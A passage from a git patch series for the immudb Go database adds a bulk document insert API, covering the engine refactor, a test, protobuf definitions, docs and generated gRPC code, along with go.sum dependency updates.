h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1595,6 +1623,7 @@ google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnD google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= +google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= @@ -1605,8 +1634,9 @@ google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCD google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= -google.golang.org/grpc v1.52.0 h1:kd48UiU7EHsV4rnLyOJRuP/Il/UHE7gdDAQ+SZI7nZk= google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.54.0 h1:EhTqbhiYeixwWQtAEZAxmV9MGqcjEU2mFx52xCzNyag= +google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= From ba5c30a399a9c98c591dea2bc6196f0834db0337 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 20 Apr 2023 17:47:42 +0530 Subject: [PATCH 0445/1062] chore: add bulk insert api --- embedded/document/engine.go | 195 ++++-- embedded/document/engine_test.go | 53 +- pkg/api/documentschema/docs.md | 35 ++ pkg/api/documentschema/documentschema.pb.go | 583 +++++++++++------- .../documentschema/documentschema.pb.gw.go | 81 +++ pkg/api/documentschema/documentschema.proto | 20 + .../documentschema.swagger.json | 63 +- .../documentschema/documentschema_grpc.pb.go | 36 ++ pkg/database/document_database.go | 15 + pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 12 + 11 files changed, 835 insertions(+), 262 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index d095a55a11..0db29b6065 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -336,34 +336,14 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc return nil, 0, 0, ErrIllegalArguments } - provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] - if docIDProvisioned { - docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) - if err != nil { - return nil, 0, 0, err - } - } else { - if !isInsert { - return nil, 0, 0, fmt.Errorf("_id field is required when updating a document") - } - - // generate document id - docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) - doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + docID, err = e.getDocumentID(doc, isInsert) + if err != nil { + return nil, 0, 0, err } // concurrency validation are not needed when the document id is automatically generated - opts := sql.DefaultTxOptions() - - if !docIDProvisioned { - // wait for indexing to include latest catalog changes - opts. - WithUnsafeMVCC(!docIDProvisioned). - WithSnapshotRenewalPeriod(0). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { - return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() - }) - } + _, docIDProvisioned := doc.Fields[DocumentIDField] + opts := e.configureTxOptions(docIDProvisioned) tx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { @@ -380,36 +360,16 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc } var cols []string - var values []sql.ValueExp - for _, col := range table.Cols() { cols = append(cols, col.Name()) + } - switch col.Name() { - case DocumentIDField: - // add document id to document - values = append(values, sql.NewBlob(docID[:])) - case DocumentBLOBField: - bs, err := json.Marshal(doc) - if err != nil { - return nil, 0, 0, err - } - - values = append(values, sql.NewBlob(bs)) - default: - if rval, ok := doc.Fields[col.Name()]; ok { - val, err := valueTypeToExp(col.Type(), rval) - if err != nil { - return nil, 0, 0, err - } - values = append(values, val) - } else { - values = append(values, &sql.NullValue{}) - } - } + rowSpec, err := e.generateRowSpecForDocument(docID, doc, table) + if err != nil { + return nil, 0, 0, err } - rows := []*sql.RowSpec{sql.NewRowSpec(values)} + rows := []*sql.RowSpec{rowSpec} // add document to collection _, ctxs, err := e.sqlEngine.ExecPreparedStmts( @@ -757,3 +717,138 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } + +func (e *Engine) getDocumentID(doc *structpb.Struct, isInsert bool) (DocumentID, error) { + provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] + var docID DocumentID + var err error + if docIDProvisioned { + docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) + if err != nil { + return docID, err + } + } else { + if !isInsert { + return docID, fmt.Errorf("_id field is required when updating a document") + } + + // generate document id + docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + } + + return docID, nil +} + +func (e *Engine) configureTxOptions(docIDProvisioned bool) *sql.TxOptions { + txOpts := sql.DefaultTxOptions() + + if !docIDProvisioned { + // wait for indexing to include latest catalog changes + txOpts. + WithUnsafeMVCC(!docIDProvisioned). + WithSnapshotRenewalPeriod(0). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() + }) + } + return txOpts +} + +func (e *Engine) generateRowSpecForDocument(docID DocumentID, doc *structpb.Struct, table *sql.Table) (*sql.RowSpec, error) { + var cols []string + var values []sql.ValueExp + + for _, col := range table.Cols() { + cols = append(cols, col.Name()) + + switch col.Name() { + case DocumentIDField: + // add document id to document + values = append(values, sql.NewBlob(docID[:])) + case DocumentBLOBField: + bs, err := json.Marshal(doc) + if err != nil { + return nil, err + } + + values = append(values, sql.NewBlob(bs)) + default: + if rval, ok := doc.Fields[col.Name()]; ok { + val, err := valueTypeToExp(col.Type(), rval) + if err != nil { + return nil, err + } + values = append(values, val) + } else { + values = append(values, &sql.NullValue{}) + } + } + } + + return sql.NewRowSpec(values), nil + +} + +func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (docIDs []DocumentID, txID uint64, err error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + if err != nil { + return nil, 0, err + } + defer tx.Cancel() + + table, err := tx.Catalog().GetTableByName(collectionName) + if err != nil { + if errors.Is(err, sql.ErrTableDoesNotExist) { + return nil, 0, ErrCollectionDoesNotExist + } + return nil, 0, err + } + + var cols []string + for _, col := range table.Cols() { + cols = append(cols, col.Name()) + } + + rows := make([]*sql.RowSpec, 0, len(docs)) + + for _, doc := range docs { + var docID DocumentID + docID, err = e.getDocumentID(doc, true) + if err != nil { + return + } + + docIDs = append(docIDs, docID) + + rowSpec, err := e.generateRowSpecForDocument(docID, doc, table) + if err != nil { + return nil, 0, err + } + + rows = append(rows, rowSpec) + } + + // add documents to collection + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( + ctx, + tx, + []sql.SQLStmt{ + sql.NewUpserIntoStmt( + collectionName, + cols, + rows, + true, + nil, + ), + }, + nil, + ) + if err != nil { + return nil, 0, err + } + + txID = ctxs[0].TxHeader().ID + + return +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 9afdde3ad1..65f1ce8087 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -291,7 +291,6 @@ func TestQueryDocument(t *testing.T) { "idx": {Type: sql.IntegerType}, }) require.NoError(t, err) - require.NoError(t, err) // add documents to collection for i := 1.0; i <= 10; i++ { @@ -780,5 +779,57 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { require.Equal(t, 1, primaryKeyCount) require.Equal(t, 1, indexKeyCount) }) +} + +func TestBulkInsert(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "country": {Type: sql.VarcharType}, + "price": {Type: sql.Float64Type}, + }) + require.NoError(t, err) + // add documents to collection + docs := make([]*structpb.Struct, 0) + for i := 1.0; i <= 10; i++ { + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "price": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + } + docs = append(docs, doc) + } + + docIDs, txID, err := engine.BulkInsertDocuments(ctx, collectionName, docs) + require.NoError(t, err) + + require.Equal(t, 10, len(docIDs)) + require.Equal(t, uint64(2), txID) + + expressions := []*Query{ + { + Field: "price", + Operator: sql.GE, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + } + + docs, err = engine.GetDocuments(ctx, collectionName, expressions, 1, 10) + require.NoError(t, err) + require.Equal(t, 10, len(docs)) + + for i, doc := range docs { + require.Equal(t, float64(i+1), doc.Fields["price"].GetNumberValue()) + } } diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 2953a856ef..039c3eb28c 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -21,6 +21,8 @@ - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) + - [DocumentBulkInsertRequest](#immudb.documentschema.DocumentBulkInsertRequest) + - [DocumentBulkInsertResponse](#immudb.documentschema.DocumentBulkInsertResponse) - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) - [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) - [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) @@ -306,6 +308,38 @@ + + +### DocumentBulkInsertRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | + + + + + + + + +### DocumentBulkInsertResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| documentIds | [string](#string) | repeated | | +| transactionId | [uint64](#uint64) | | | + + + + + + ### DocumentInsertRequest @@ -543,6 +577,7 @@ | CollectionList | [CollectionListRequest](#immudb.documentschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentschema.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | | CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | +| DocumentInsertMany | [DocumentBulkInsertRequest](#immudb.documentschema.DocumentBulkInsertRequest) | [DocumentBulkInsertResponse](#immudb.documentschema.DocumentBulkInsertResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index b1145af66c..d3e3c7a0d5 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -16,18 +16,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.11.4 +// protoc v3.21.9 // source: documentschema.proto package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -154,8 +154,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -197,7 +197,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { +func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -264,8 +264,8 @@ type DocumentUpdateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -307,7 +307,7 @@ func (x *DocumentUpdateRequest) GetCollection() string { return "" } -func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { +func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -422,11 +422,11 @@ func (m *IndexValue) GetKind() isIndexValue_Kind { return nil } -func (x *IndexValue) GetNullValue() _struct.NullValue { +func (x *IndexValue) GetNullValue() structpb.NullValue { if x, ok := x.GetKind().(*IndexValue_NullValue); ok { return x.NullValue } - return _struct.NullValue(0) + return structpb.NullValue(0) } func (x *IndexValue) GetNumberValue() float64 { @@ -455,7 +455,7 @@ type isIndexValue_Kind interface { } type IndexValue_NullValue struct { - NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` + NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` } type IndexValue_NumberValue struct { @@ -483,9 +483,9 @@ type DocumentQuery struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` + Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { @@ -534,7 +534,7 @@ func (x *DocumentQuery) GetOperator() QueryOperator { return QueryOperator_EQ } -func (x *DocumentQuery) GetValue() *_struct.Value { +func (x *DocumentQuery) GetValue() *structpb.Value { if x != nil { return x.Value } @@ -617,7 +617,7 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -652,7 +652,7 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{7} } -func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { +func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { if x != nil { return x.Results } @@ -924,9 +924,9 @@ type DocumentAudit struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` - Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentAudit) Reset() { @@ -975,7 +975,7 @@ func (x *DocumentAudit) GetRevision() uint64 { return 0 } -func (x *DocumentAudit) GetDocument() *_struct.Struct { +func (x *DocumentAudit) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -1568,6 +1568,116 @@ func (x *CollectionUpdateResponse) GetCollection() *CollectionInformation { return nil } +type DocumentBulkInsertRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document []*structpb.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentBulkInsertRequest) Reset() { + *x = DocumentBulkInsertRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentBulkInsertRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentBulkInsertRequest) ProtoMessage() {} + +func (x *DocumentBulkInsertRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentBulkInsertRequest.ProtoReflect.Descriptor instead. +func (*DocumentBulkInsertRequest) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{25} +} + +func (x *DocumentBulkInsertRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentBulkInsertRequest) GetDocument() []*structpb.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentBulkInsertResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + DocumentIds []string `protobuf:"bytes,1,rep,name=documentIds,proto3" json:"documentIds,omitempty"` + TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` +} + +func (x *DocumentBulkInsertResponse) Reset() { + *x = DocumentBulkInsertResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[26] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentBulkInsertResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentBulkInsertResponse) ProtoMessage() {} + +func (x *DocumentBulkInsertResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[26] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentBulkInsertResponse.ProtoReflect.Descriptor instead. +func (*DocumentBulkInsertResponse) Descriptor() ([]byte, []int) { + return file_documentschema_proto_rawDescGZIP(), []int{26} +} + +func (x *DocumentBulkInsertResponse) GetDocumentIds() []string { + if x != nil { + return x.DocumentIds + } + return nil +} + +func (x *DocumentBulkInsertResponse) GetTransactionId() uint64 { + if x != nil { + return x.TransactionId + } + return 0 +} + var File_documentschema_proto protoreflect.FileDescriptor var file_documentschema_proto_rawDesc = []byte{ @@ -1778,128 +1888,152 @@ var file_documentschema_proto_rawDesc = []byte{ 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, - 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, - 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, - 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, - 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, - 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, - 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x70, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x42, 0x75, 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x42, 0x75, 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 